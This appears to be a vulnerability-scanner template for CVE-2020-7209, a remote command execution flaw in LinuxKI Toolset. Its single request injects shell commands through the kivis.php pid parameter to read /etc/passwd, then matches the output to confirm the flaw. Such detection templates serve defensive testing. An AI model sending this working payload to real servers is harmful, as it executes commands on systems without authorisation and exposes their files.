id: CVE-2020-7209

info:
  name: LinuxKI Toolset 6.01 Remote Command Execution
  author: dwisiswant0
  severity: critical
  tags: cve,cve2020,rce

  # This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.

  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
  # venedor: https://www.hpe.com/us/en/home.html
  # softwar: https://github.com/HewlettPackard/LinuxKI

requests:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body